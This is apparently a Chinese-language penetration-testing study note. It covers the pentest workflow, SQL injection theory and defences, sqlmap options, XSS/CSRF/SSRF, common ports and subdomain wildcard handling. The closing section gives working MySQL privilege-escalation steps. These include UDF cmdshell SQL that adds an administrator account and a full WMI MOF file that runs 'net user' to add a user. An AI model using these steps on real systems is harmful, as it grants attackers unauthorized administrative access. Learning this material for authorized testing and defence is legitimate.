思路流程

信息收集

  1. 服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等)
  2. 网站指纹识别(包括,cms,cdn,证书等),dns记录
  3. whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等)
  4. 子域名收集,旁站,C段等
  5. google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等
  6. 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等
  7. 传输协议,通用漏洞,exp,github源码等

漏洞挖掘

  1. 浏览网站,看看网站规模,功能,特点等
  2. 端口,弱口令,目录等扫描,对响应的端口进行漏洞探测,比如 rsync,心脏出血,mysql,ftp,ssh弱口令等。
  3. XSS,SQL注入,上传,命令注入,CSRF,cookie安全检测,敏感信息,通信数据传输,暴力破解,任意文件上传,越权访问,未授权访问,目录遍历,文件 包含,重放攻击(短信轰炸),服务器漏洞检测,最后使用漏扫工具等

漏洞利用&权限提升

  • mysql提权,serv-u提权,oracle提权
  • windows 溢出提权
  • linux脏牛,内核漏洞提权e

清除测试数据&输出报告

i 日志、测试数据的清理
ii 总结,输出渗透测试报告,附修复方案

复测

验证并发现是否有新漏洞,输出报告,归档

SQL注入防护

1、使用安全的API
2、对输入的特殊字符进行Escape转义处理
3、使用白名单来规范化输入验证方法
4、对客户端输入进行控制,不允许输入SQL注入相关的特殊字符
5、服务器端在提交数据库进行SQL查询之前,对特殊字符进行过滤、转义、替换、删除。
6、规范编码,字符集

为什么参数化查询可以防止sql注入

原理:

使用参数化查询数据库服务器不会把参数的内容当作sql指令的一部分来执行,是在数据库完成sql指令的编译后才套用参数运行

简单的说:
参数化能防注入的原因在于,语句是语句,参数是参数,参数的值并不是语句的一部分,数据库只按语句的语义跑

sql的报错注入原理

报错注入的使用场景一般是在页面无法显示数据库的信息,但是是有报错内容的,报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

报错注入形式上一般是做两个嵌套的查询,里面的那个查询被称为子查询,执行顺序也是从子查询开始的,所以我们可以通过子查询查询我们想要的数据,然后在通过报错函数将我们查询到的数据带出,从而达到爆出想要查询的数据。

报错函数

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。updatexml() 函数的报错内容长度不能超过32个字符,我一般用MID() 函数从中提取字符

sql的布尔注入原理和用到的函数

SQL布尔注入是一种利用布尔逻辑漏洞的攻击方式,与常规的SQL注入攻击不同,它并不会直接注入恶意代码,而是利用查询语句中的布尔逻辑,通过不断猜测来获取敏感信息。

函数

  1. LIKE 函数:该函数可以用于模糊匹配查询,通常与通配符一起使用。攻击者可以使用通配符来逐个猜测字符或字符串的值,以获取敏感信息。
  2. SUBSTRING 函数:该函数可以用于提取字符串的子串。攻击者可以使用该函数来提取密码的每个字符,从而逐个猜测密码的值。
  3. ASCII 函数:该函数可以将字符转换为其对应的ASCII码。攻击者可以使用该函数来比较密码的每个字符的ASCII码值,以猜测密码的值。
  4. LENGTH 函数:该函数可以获取字符串的长度。攻击者可以使用该函数来确定密码的长度,从而更快地猜测密码的值。

sqlmap常用的参数有哪些

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
-v:输出信息的详细程度,默认为1
0:只输出 Python 出错回溯信息,错误和关键信息
1:增加输出普通信息和警告信息
2:增加输出调试信息
3:增加输出已注入的 payloads
4:增加输出 HTTP 请求
5:增加输出 HTTP 响应头
6:增加输出 HTTP 响应内容
-u:指定要测试的URL。
-d: 直接连接到数据库 例如 sqlmap -d "mysql://root:root@192.168.1.200:3306/test"
-m 从文本中获取多个目标url,url 会保存在文档中,sqlmap会一个个检测
-r: 从文件中加载http请求,如果目标是post请求,可以直接将其请求导入到文件中,然后-r 调用这个文件
-C 指定字段
-T 指定表
-D 指定数据库
--data:指定POST请求的数据。 例如 sqlmap -u "http:192.168.1.200/index.php" --data="id=1"
--cookie:指定HTTP cookie。
--random-agent:使用随机的用户代理标识进行测试。
--technique:设置SQL注入测试的技术。
--level:设置SQL注入测试的等级,范围是1到5,默认值是1。
--threads:设置线程数,默认为1。
--batch:设置批量模式,不会询问任何问题,只会使用默认值。
--dbms:指定要测试的数据库类型。
--os:指定要测试的操作系统类型。
--risk:设置测试中使用的风险等级,范围是1到3,默认值是1。
--dump:导出数据库的数据。
--dbs:列出所有可用的数据库。
--tables:列出指定数据库中的所有表。
--columns:列出指定表中的所有列。
--users:列出指定数据库中的所有用户。
-- corrent-user: 获取当前数据库
--passwords:列出指定数据库中的所有用户的密码。
--tor:使用Tor网络进行测试。
--tamper:设置SQLMap使用的注入负载模板。
--prefix:设置测试时使用的前缀字符。
--flush-session:#清除上次扫描的缓存
--purge #清除历史缓存

sqlmap中的–os-shell原理

SQLMap会通过注入SQL语句在目标服务器上执行一段特定的代码,该代码会在目标服务器上启动一个后门程序,该后门程序会监听SQLMap指定的端口号,并接受SQLMap发送的命令,并将命令的执行结果返回给SQLMap。

接下来,SQLMap就可以通过--os-shell参数启动一个交互式Shell,与目标服务器进行交互,并执行各种命令,从而实现对目标服务器的控制。

文件上传绕过方式

看这篇文章

文件上传有哪些防护方式

  1. 文件类型检查:对用户上传的文件进行类型检查,确保只允许上传合法的文件类型。可以通过检查文件扩展名或使用文件魔术数字(Magic Number)进行验证。
  2. 文件内容验证:除了检查文件类型外,还可以对文件内容进行验证。例如,对于图像文件,可以检查文件的头部和结尾是否符合图像文件的格式规范。
  3. 文件大小限制:限制上传文件的最大大小,以防止恶意用户上传过大的文件导致服务器资源耗尽。
  4. 安全的文件存储位置:将用户上传的文件存储在服务器的安全目录中,不要将其存储在可以直接执行的目录下。确保上传的文件无法通过浏览器直接访问,设置适当的访问权限。
  5. 输入数据验证和过滤:在接收用户上传文件的过程中,对用户输入的数据进行验证和过滤,以防止恶意代码或特殊字符的注入。
  6. 文件名重命名:为上传的文件生成一个随机的、唯一的文件名,以防止恶意用户上传具有恶意目的的文件名。
  7. 安全的文件处理和解析:对上传的文件进行安全的处理和解析,例如,对图像文件进行缩放、剪裁等操作时,确保使用安全的库和方法,以防止恶意代码的执行。
  8. 安全的服务器配置:确保服务器的安全配置,例如禁用不必要的文件上传功能、限制服务器的资源使用等。
  9. 定期更新和修补漏洞:及时更新和修补使用的上传组件或框架,以防止已知漏洞的利用。
  10. 安全意识培训:向开发人员和用户提供安全意识培训,使他们了解文件上传漏洞的潜在威胁,并学习如何避免和处理这些威胁。

xss的几种类型及漏洞原理

XSS漏洞的原理是,攻击者利用Web应用程序没有对用户输入进行足够的验证和过滤,从而导致恶意脚本被注入到Web页面中。攻击者可以利用恶意脚本窃取用户的敏感信息、篡改页面内容、劫持用户会话等。

  1. 反射型XSS:攻击者构造恶意链接或提交恶意表单,当受害者访问该链接或提交表单时,恶意代码会被注入到响应的HTML页面中,从而攻击受害者。
  2. 存储型XSS:攻击者将恶意脚本上传到Web应用程序的服务器端,并将它们保存到数据库中。当用户访问包含恶意脚本的页面时,恶意脚本会被从数据库中取出并注入到页面中,从而攻击受害者。
  3. 基于DOM的XSS:攻击者通过恶意脚本直接修改浏览器中的DOM,从而实现攻击目的。

csrf、xss和ssrf之间的区别

  1. CSRF(跨站请求伪造):攻击者通过诱骗用户访问恶意网站或点击恶意链接等方式,向目标网站发送伪造的请求,从而执行非授权的操作。攻击者通过利用已登录用户的Cookie,来欺骗服务器相信这个请求是受害者发送的,从而完成攻击。防范CSRF的措施包括加入Token验证、Referer验证等。
  2. XSS(跨站脚本攻击):攻击者通过在Web页面中注入恶意脚本,欺骗用户点击链接或提交表单,从而执行攻击。恶意脚本可以窃取用户的敏感信息,篡改页面内容,劫持用户会话等。防范XSS的措施包括输入验证、输出编码等。
  3. SSRF(服务器端请求伪造):攻击者通过篡改Web应用程序对外部资源的访问方式,使Web应用程序向攻击者指定的服务器发送请求,从而攻击目标服务器或本地网络。攻击者可以利用SSRF来窃取敏感信息,发起网络攻击等。防范SSRF的措施包括对输入进行严格限制,禁止访问内部资源等。

windows中查看进程的命令

  1. tasklist命令:在命令行中输入“tasklist”命令,可以列出当前所有运行的进程信息,包括进程ID、名称、状态、内存使用等信息。该命令还支持其他参数,如“tasklist /svc”可以列出每个进程对应的服务信息。
  2. netstat -aon:列出当前正在运行的网络连接和进程信息
    1. “-a”参数表示显示所有的网络连接,包括正在监听的连接和建立的连接。
    2. “-o”参数表示显示与每个网络连接相关联的进程ID。
    3. “-n”参数表示以数字形式显示网络地址和端口号,而不是解析为域名和服务名称。

windows中结束进程的命令

  1. taskkill命令:在命令提示符中输入”taskkill /pid [进程ID]”命令可以结束指定进程ID的进程。例如,如果要结束进程ID为1234的进程,可以使用命令”taskkill /pid 1234”。该命令还支持其他参数,如”/f”参数表示强制结束进程。

  2. tskill命令:在命令提示符中输入”tskill [进程名称]”命令可以结束指定名称的进程。例如,如果要结束名称为chrome的进程,可以使用命令”tskill chrome”。该命令也支持其他参数,如”/a”参数表示结束所有同名的进程。

linux常用命令

看这篇文章

常见的端口和对应的服务

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
- 20/21:FTP服务
- 22:SSH服务
- 23:Telnet服务
- 25:SMTP服务
- 53:DNS服务
- 67/68:DHCP服务
- 69:TFTP服务
- 80/8080/443:HTTP/HTTPS服务
- 110:POP3服务
- 119:NNTP服务
- 123:NTP服务
- 135/139/445:SMB服务
- 143:IMAP服务
- 161/162:SNMP服务
- 389/636:LDAP服务
- 443:HTTPS服务
- 465:SMTPS服务
- 500:IKEv1服务
- 514:Syslog服务
- 563:NNTPS服务
- 631:CUPS服务
- 873:rsync服务
- 993/995:IMAPS/POP3S服务
- 1433/1434:Microsoft SQL Server服务
- 1521/1522:Oracle数据库服务
- 2049:NFS服务
- 3306:MySQL数据库服务
- 3389:Remote Desktop服务
- 5432/5433:PostgreSQL数据库服务
- 5900/5901:VNC服务
- 6379:Redis数据库服务
- 7001/7002:Weblogic服务
- 8000/8005/8009:Tomcat服务
- 8081:Zabbix服务
- 9000/9001:Elasticsearch服务
- 9090:Openfire服务

OSI七层模型有哪些

osi/tcp

如何处理信息收集时子域名爆破泛解析的问题

子域名泛解析的成因

在子域名解析中,每个子域名都会解析为一个特定的IP地址。只有被设置解析,用户才能正常进行访问。一旦用户输入错误的子域名,就会造成无法访问。
在网站运营中,域名持有者为了避免因为错误输入,而造成用户流失,就会使用泛域名解析。
子域名泛解析是一种DNS配置设置,它允许将所有子域名都解析到同一个IP地址上。这意味着无论用户输入哪个子域名,DNS服务器都会返回相同的IP地址。
但是信息收集中,这会造成请求的所有子域名都能访问的假象,从而收集到一堆无效的子域名。

子域名爆破中解决泛解析的方式

目前最常见的解决方式是IP黑名单的方式,首先访问一个随机的并不存在的域,通过返回的结果判断是否存在泛解析,确定存在泛解析后,(脚本实现)不断的生成随机域名并发送请求,将每次返回的IP和TTL记录下来,直到大部分的IP出现次数都大于两次,则IP黑名单收集完成。而后使用域名字典进行爆破,爆破过程中根据IP黑名单进行过滤,同时比较TTL,在泛解析记录中TTL是相同的,如果TTL不相同,则不是泛解析记录。

mysql两种提权方式

udf提权,mof提权

Mysql_UDF提权

要求:
1.目标系统是Windows(Win2000,XP,Win2003);
2.拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数
3.有root账号密码
导出udf:
MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的lib\plugin文件夹下才能创建自定义函数
可以再mysql里输入
select @@basedir
show variables like ‘%plugins%’ 寻找mysql安装路径
提权:

使用SQL语句创建功能函数。语法:Create Function 函数名(函数名只能为下面列表中的其中之一)returns string soname ‘导出的DLL路径’;

plaintext
1
2
3
4
5
create function cmdshell returns string soname ‘udf.dll’
select cmdshell(‘net user arsch arsch /add’);
select cmdshell(‘net localgroup administrators arsch /add’);

drop function cmdshell;

该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建lib\plugin文件夹,然后将udf.dll文件导出到该目录即可。

Mysql mof提权

plaintext
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#pragma namespace("\\\\.\\root\\subscription")

instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};

instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
};

instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

其中的第18行的命令,上传前请自己更改。

2、执行load_file及into dumpfile把文件导出到正确的位置即可。

plaintext
1
select load file('c:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mov'

执行成功后,即可添加一个普通用户,然后你可以更改命令,再上传导出执行把用户提升到管理员权限,然后3389连接之就ok了。